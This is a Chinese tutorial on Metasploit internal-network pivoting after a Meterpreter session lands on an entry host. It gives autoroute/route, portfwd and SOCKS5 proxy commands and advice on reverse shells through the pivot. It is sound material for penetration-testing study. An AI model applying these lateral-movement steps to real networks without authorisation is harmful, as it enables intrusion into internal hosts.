目录

MetaSploit内网代理

在入口机上线Meterpreter后,把入口机作为跳板机,通过添加路由、端口转发、socks代理等多种方式访问内网

# 描述

例如上图中所示拓扑,192.168.10.x网段的攻击机无法直接访问192.168.20.x网段内网主机,入口机存在192.168.10.x、192.168.20.x两个网卡,在拿下入口机meterpreter后,让这台入口机转发流量实现访问内网

metasploit内网代理的三种方式:

  • 添加路由
  • 端口转发
  • socks代理

# autoroute添加路由

在入口机添加静态路由,让攻击机知道如何访问内网,添加路由后,msf的流量会自动分流,其他流量不受影响

meterpreter > run autoroute -s 192.168.20.0/24
1

或者在msfconsole中使用,指定session id

msf > route add 192.168.20.0 255.255.255.0 1
1

删除路由指令

msf > route remove 192.168.20.0 255.255.255.0 1
1

提示

添加路由后,攻击机可以通过入口机转发流量访问内网,在内网主机存在漏洞可以利用时,推荐使用正向shell,如果使用反弹shell,内网主机没有到攻击机的路由,反弹shell会失败。可以通过portfwd把本地监听端口映射到入口机上,反弹shell到入口机的映射端口。

# portfwd端口转发

效果可能较差,流量经过了多次转发

在入口机上使用portfwd命令做端口转发,把内网主机的端口映射到本地(攻击机)上,访问本地端口实现直接访问内网主机的效果

meterpreter > portfwd add -l 8080 -p 80 -r 192.168.20.1
1
  • l:本地端口(使用msf的主机)
  • p:内网主机端口
  • r:内网主机IP

例如192.168.20.20主机存在一个thinkphp漏洞版本,通过这条命令把内网主机80端口映射到攻击机8080端口,可以直接访问127.0.0.1:8080达到访问192.168.20.20:80的效果

meterpreter > portfwd list
#  Local         Remote                Direction
1  127.0.0.1:3389  192.168.10.20:3389   Forward
2  127.0.0.1:445   192.168.10.30:445    Forward
# 方法一:根据id删除
meterpreter > portfwd delete -i 1
# 方法二:根据本地端口删除
meterpreter > portfwd delete -l 3389
1
2
3
4
5
6
7
8

# socks代理

启动 SOCKS5 代理模块,需要先使用route命令添加路由

msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set VERSION 5
VERSION => 5
msf6 auxiliary(server/socks_proxy) > set SRVHOST 0.0.0.0
SRVHOST => 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
SRVPORT => 1080
msf6 auxiliary(server/socks_proxy) > run
1
2
3
4
5
6
7
8

然后可以在浏览器里配置socks5代理,或使用proxifier等工具,让流量走代理访问内网

参考:

最后一次更新于: 2025/10/05, 00:41:30